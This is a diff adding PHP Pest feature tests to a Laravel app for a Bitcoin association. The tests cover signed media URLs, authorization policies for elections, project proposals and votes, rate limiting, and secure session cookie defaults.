$this->get("/media/{$media->id}")->assertForbidden();
|
||||
});
|
||||
|
||||
it('generates signed url with conversion parameter', function () {
|
||||
Storage::fake('private');
|
||||
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
$project->addMedia(
|
||||
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 500, 500)
|
||||
)->toMediaCollection('main');
|
||||
|
||||
$urlWithoutConversion = $project->getSignedMediaUrl('main');
|
||||
$urlWithConversion = $project->getSignedMediaUrl('main', 60, 'preview');
|
||||
|
||||
expect($urlWithoutConversion)->not->toContain('conversion=');
|
||||
});
|
||||
|
||||
it('returns fallback url when no media exists', function () {
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
$url = $project->getSignedMediaUrl('main', 60, 'preview');
|
||||
|
||||
expect($url)->toContain('einundzwanzig-alpha.jpg');
|
||||
});
|
||||
110
tests/Feature/Policies/ElectionPolicyTest.php
Normal file
110
tests/Feature/Policies/ElectionPolicyTest.php
Normal file
@@ -0,0 +1,110 @@
|
||||
<?php
|
||||
|
||||
use App\Auth\NostrUser;
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\Election;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
|
||||
// viewAny
|
||||
it('allows anyone to view any elections', function () {
|
||||
expect(Gate::forUser(null)->allows('viewAny', Election::class))->toBeTrue();
|
||||
});
|
||||
|
||||
// view
|
||||
it('allows anyone to view an election', function () {
|
||||
$election = Election::factory()->create();
|
||||
|
||||
expect(Gate::forUser(null)->allows('view', $election))->toBeTrue();
|
||||
});
|
||||
|
||||
// create
|
||||
it('allows board member to create elections', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', Election::class))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-board member from creating elections', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', Election::class))->toBeFalse();
|
||||
});
|
||||
|
||||
// update
|
||||
it('allows board member to update an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $election))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-board member from updating an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $election))->toBeFalse();
|
||||
});
|
||||
|
||||
// delete
|
||||
it('allows board member to delete an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $election))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-board member from deleting an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $election))->toBeFalse();
|
||||
});
|
||||
|
||||
// vote
|
||||
it('allows active member to vote in an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows honorary member to vote in an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create([
|
||||
'association_status' => \App\Enums\AssociationStatus::HONORARY,
|
||||
]);
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies passive member from voting in an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create([
|
||||
'association_status' => \App\Enums\AssociationStatus::PASSIVE,
|
||||
]);
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies default (non-member) from voting in an election', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$election = Election::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('vote', $election))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies unauthenticated users from voting in an election', function () {
|
||||
$election = Election::factory()->create();
|
||||
|
||||
expect(Gate::forUser(null)->allows('vote', $election))->toBeFalse();
|
||||
});
|
||||
150
tests/Feature/Policies/ProjectProposalPolicyTest.php
Normal file
150
tests/Feature/Policies/ProjectProposalPolicyTest.php
Normal file
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
use App\Auth\NostrUser;
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\ProjectProposal;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
|
||||
// viewAny
|
||||
it('allows anyone to view any project proposals', function () {
|
||||
expect(Gate::forUser(null)->allows('viewAny', ProjectProposal::class))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows authenticated user to view any project proposals', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('viewAny', ProjectProposal::class))->toBeTrue();
|
||||
});
|
||||
|
||||
// view
|
||||
it('allows anyone to view a project proposal', function () {
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
expect(Gate::forUser(null)->allows('view', $project))->toBeTrue();
|
||||
});
|
||||
|
||||
// create
|
||||
it('allows active member with paid membership to create project proposals', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies creation for default (non-member) pleb', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies creation for active member without paid membership', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies creation for passive member without paid membership', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create([
|
||||
'association_status' => \App\Enums\AssociationStatus::PASSIVE,
|
||||
]);
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows passive member with paid membership to create project proposals', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->withPaidCurrentYear()->create([
|
||||
'association_status' => \App\Enums\AssociationStatus::PASSIVE,
|
||||
]);
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies creation for unauthenticated users', function () {
|
||||
expect(Gate::forUser(null)->allows('create', ProjectProposal::class))->toBeFalse();
|
||||
});
|
||||
|
||||
// update
|
||||
it('allows project creator to update their project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create([
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
]);
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $project))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows board member to update any project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $project))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-owner non-board member from updating a project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $project))->toBeFalse();
|
||||
});
|
||||
|
||||
// delete
|
||||
it('allows project creator to delete their project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create([
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
]);
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $project))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows board member to delete any project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $project))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-owner non-board member from deleting a project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $project))->toBeFalse();
|
||||
});
|
||||
|
||||
// accept
|
||||
it('allows board member to accept a project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('accept', $project))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-board member from accepting a project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('accept', $project))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies project creator from accepting their own project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->create();
|
||||
$project = ProjectProposal::factory()->create([
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
]);
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('accept', $project))->toBeFalse();
|
||||
});
|
||||
97
tests/Feature/Policies/VotePolicyTest.php
Normal file
97
tests/Feature/Policies/VotePolicyTest.php
Normal file
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
use App\Auth\NostrUser;
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Models\Vote;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
|
||||
// create
|
||||
it('allows authenticated pleb to create a vote for a project proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', [Vote::class, $project]))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies vote creation if pleb has already voted on the proposal', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
Vote::create([
|
||||
'project_proposal_id' => $project->id,
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
'value' => true,
|
||||
]);
|
||||
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('create', [Vote::class, $project]))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies vote creation for unauthenticated users', function () {
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
expect(Gate::forUser(null)->allows('create', [Vote::class, $project]))->toBeFalse();
|
||||
});
|
||||
|
||||
// update
|
||||
it('allows vote owner to update their vote', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$vote = Vote::create([
|
||||
'project_proposal_id' => $project->id,
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
'value' => true,
|
||||
]);
|
||||
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $vote))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-owner from updating a vote', function () {
|
||||
$owner = EinundzwanzigPleb::factory()->create();
|
||||
$otherPleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$vote = Vote::create([
|
||||
'project_proposal_id' => $project->id,
|
||||
'einundzwanzig_pleb_id' => $owner->id,
|
||||
'value' => true,
|
||||
]);
|
||||
|
||||
$nostrUser = new NostrUser($otherPleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('update', $vote))->toBeFalse();
|
||||
});
|
||||
|
||||
// delete
|
||||
it('allows vote owner to delete their vote', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$vote = Vote::create([
|
||||
'project_proposal_id' => $project->id,
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
'value' => false,
|
||||
]);
|
||||
|
||||
$nostrUser = new NostrUser($pleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $vote))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-owner from deleting a vote', function () {
|
||||
$owner = EinundzwanzigPleb::factory()->create();
|
||||
$otherPleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
$vote = Vote::create([
|
||||
'project_proposal_id' => $project->id,
|
||||
'einundzwanzig_pleb_id' => $owner->id,
|
||||
'value' => true,
|
||||
]);
|
||||
|
||||
$nostrUser = new NostrUser($otherPleb->pubkey);
|
||||
|
||||
expect(Gate::forUser($nostrUser)->allows('delete', $vote))->toBeFalse();
|
||||
});
|
||||
119
tests/Feature/RateLimitingTest.php
Normal file
119
tests/Feature/RateLimitingTest.php
Normal file
@@ -0,0 +1,119 @@
|
||||
<?php
|
||||
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Livewire\Livewire;
|
||||
|
||||
beforeEach(function () {
|
||||
RateLimiter::clear('api');
|
||||
RateLimiter::clear('voting');
|
||||
RateLimiter::clear('nostr-login');
|
||||
});
|
||||
|
||||
test('api routes return 429 after exceeding rate limit', function () {
|
||||
for ($i = 0; $i < 60; $i++) {
|
||||
$this->getJson('/api/members/2024')->assertSuccessful();
|
||||
}
|
||||
|
||||
$this->getJson('/api/members/2024')->assertStatus(429);
|
||||
});
|
||||
|
||||
test('api routes include rate limit headers', function () {
|
||||
$response = $this->getJson('/api/members/2024');
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertHeader('X-RateLimit-Limit', 60);
|
||||
$response->assertHeader('X-RateLimit-Remaining');
|
||||
});
|
||||
|
||||
test('nostr profile api route is rate limited', function () {
|
||||
for ($i = 0; $i < 60; $i++) {
|
||||
$this->getJson('/api/nostr/profile/testkey'.$i);
|
||||
}
|
||||
|
||||
$this->getJson('/api/nostr/profile/testkey')->assertStatus(429);
|
||||
});
|
||||
|
||||
test('voting actions are rate limited after 10 attempts', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
for ($i = 0; $i < 10; $i++) {
|
||||
RateLimiter::attempt('voting:127.0.0.1', 10, function () {});
|
||||
}
|
||||
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->call('handleApprove')
|
||||
->assertStatus(429);
|
||||
});
|
||||
|
||||
test('nostr login is rate limited after 10 attempts', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
|
||||
for ($i = 0; $i < 10; $i++) {
|
||||
RateLimiter::attempt('nostr-login:127.0.0.1', 10, function () {});
|
||||
}
|
||||
|
||||
Livewire::test('association.project-support.index')
|
||||
->call('handleNostrLogin', $pleb->pubkey)
|
||||
->assertStatus(429);
|
||||
});
|
||||
|
||||
test('project proposal creation is rate limited after 5 attempts', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
for ($i = 0; $i < 5; $i++) {
|
||||
RateLimiter::attempt('project-proposal-create:127.0.0.1', 5, function () {});
|
||||
}
|
||||
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Test Project')
|
||||
->set('form.description', 'Test Description')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertStatus(429);
|
||||
});
|
||||
|
||||
test('project proposal update is rate limited after 5 attempts', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create([
|
||||
'einundzwanzig_pleb_id' => $pleb->id,
|
||||
]);
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
for ($i = 0; $i < 5; $i++) {
|
||||
RateLimiter::attempt('project-proposal-update:127.0.0.1', 5, function () {});
|
||||
}
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
|
||||
->set('form.name', 'Updated Name')
|
||||
->call('update')
|
||||
->assertStatus(429);
|
||||
});
|
||||
|
||||
test('voting works within rate limit', function () {
|
||||
$pleb = EinundzwanzigPleb::factory()->create();
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->call('handleApprove')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$vote = \App\Models\Vote::query()
|
||||
->where('project_proposal_id', $project->id)
|
||||
->where('einundzwanzig_pleb_id', $pleb->id)
|
||||
->first();
|
||||
|
||||
expect($vote)->not->toBeNull()
|
||||
->and($vote->value)->toBeTrue();
|
||||
});
|
||||
39
tests/Feature/SessionSecurityTest.php
Normal file
39
tests/Feature/SessionSecurityTest.php
Normal file
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
it('has secure defaults in session config file', function () {
|
||||
$config = require base_path('config/session.php');
|
||||
|
||||
// When no env vars are set, these should default to secure values
|
||||
expect($config['http_only'])->toBeTrue('http_only should default to true');
|
||||
expect($config['same_site'])->toBe('lax', 'same_site should default to lax');
|
||||
});
|
||||
|
||||
it('defaults session encryption to true in config', function () {
|
||||
$configContent = file_get_contents(base_path('config/session.php'));
|
||||
|
||||
expect($configContent)->toContain("env('SESSION_ENCRYPT', true)");
|
||||
});
|
||||
|
||||
it('defaults secure cookie to true in config', function () {
|
||||
$configContent = file_get_contents(base_path('config/session.php'));
|
||||
|
||||
expect($configContent)->toContain("env('SESSION_SECURE_COOKIE', true)");
|
||||
});
|
||||
|
||||
it('has secure session defaults in env example', function () {
|
||||
$envExample = file_get_contents(base_path('.env.example'));
|
||||
|
||||
expect($envExample)->toContain('SESSION_ENCRYPT=true');
|
||||
expect($envExample)->toContain('SESSION_SECURE_COOKIE=true');
|
||||
});
|
||||
|
||||
it('sets httponly and samesite flags on session cookie', function () {
|
||||
$response = $this->get('/');
|
||||
|
||||
$sessionCookie = collect($response->headers->getCookies())
|
||||
->first(fn ($cookie) => $cookie->getName() === config('session.cookie'));
|
||||
|
||||
expect($sessionCookie)->not->toBeNull();
|
||||
expect($sessionCookie->isHttpOnly())->toBeTrue('Session cookie should be HttpOnly');
|
||||
expect($sessionCookie->getSameSite())->toBe('lax', 'Session cookie should have SameSite=lax');
|
||||
});
|
||||
Reference in New Issue
Block a user